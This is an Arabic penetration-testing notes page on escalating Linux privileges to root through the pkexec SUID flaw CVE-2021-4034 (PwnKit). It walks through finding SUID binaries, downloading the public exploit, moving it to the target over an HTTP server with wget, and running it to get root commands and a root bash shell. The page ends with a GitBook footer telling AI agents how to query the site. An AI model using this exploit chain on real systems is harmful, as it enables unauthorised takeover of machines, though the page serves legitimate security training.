> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID (Pkexec) - تصعيد امتيازات لينكس

## ما هو

تعمل ثنائيات SUID بامتيازات مالكها، وغالبًا ما يكون root. ويمكن لثنائي SUID ضعيف أو قديم أو مرن أكثر من اللازم أن يقرأ الملفات المحمية، أو يفتح صدفة بامتيازات مرتفعة، أو ينفذ شيفرة يتحكم بها المهاجم. تركز هذه الصفحة تحديدًا على **SUID (Pkexec)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## أمثلة

{% hint style="info" %}
الـ **CVE-2021-4034** الثغرة (PwnKit) في **pkexec** من **polkit** تسمح بزيادة الامتيازات محليًا على Linux. وباستخدام تحقق غير صحيح من الوسائط، يمكن للمهاجم تنفيذ شيفرة بامتيازات root. هذا الخلل الحرج، سهل الاستغلال، يؤثر في العديد من التوزيعات ويتطلب تحديثًا عاجلًا لـ polkit.
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### خطوات استغلال ثنائي SUID

**تحديد الملفات التي تم تفعيل بت SUID عليها**

للبحث عن الملفات التي تحتوي على بت SUID (ما يسمح بالتنفيذ بامتيازات المالك، غالبًا `root`)، استخدم الأمر:

```bash
find / -perm -4000 2>/dev/null
```

من بين النتائج، حدّد الثنائي الضعيف **`pkexec`**.

<figure><img src="/files/2191e4d3d966195a70a3f9d3caa48e4e6cef812c" alt=""><figcaption></figcaption></figure>

## استغلال الثغرة

**تنزيل الاستغلال على جهاز المهاجم**

من جهاز المهاجم، نزّل سكربت الاستغلال:

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**نقل الاستغلال إلى جهاز الضحية**

لنقل الاستغلال، شغّل خادم HTTP بسيطًا على جهاز المهاجم:

```bash
python3 -m http.server 80
```

على جهاز الضحية، نزّل الملف ومنح أذونات التنفيذ:

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="/files/c9e4556309045ae421e4f26ef6f67117fa817553" alt=""><figcaption></figcaption></figure>

تشغيل الاستغلال

بمجرد أن يصبح الملف جاهزًا، يمكنك تنفيذ الأوامر بامتيازات root. على سبيل المثال:

* لعرض معرّف المستخدم (`المعرّف`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="/files/15ccdb2f726aefa453b38f5bf0f4fb618564f2b7" alt=""><figcaption></figcaption></figure>

* للحصول على جلسة bash بامتيازات root:

```bash
./PwnKit 'bash -p'
```

<figure><img src="/files/efa2b6242b5e5449d87e5e3f419d99fb7cc9727c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/suid/suid-pkexec-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
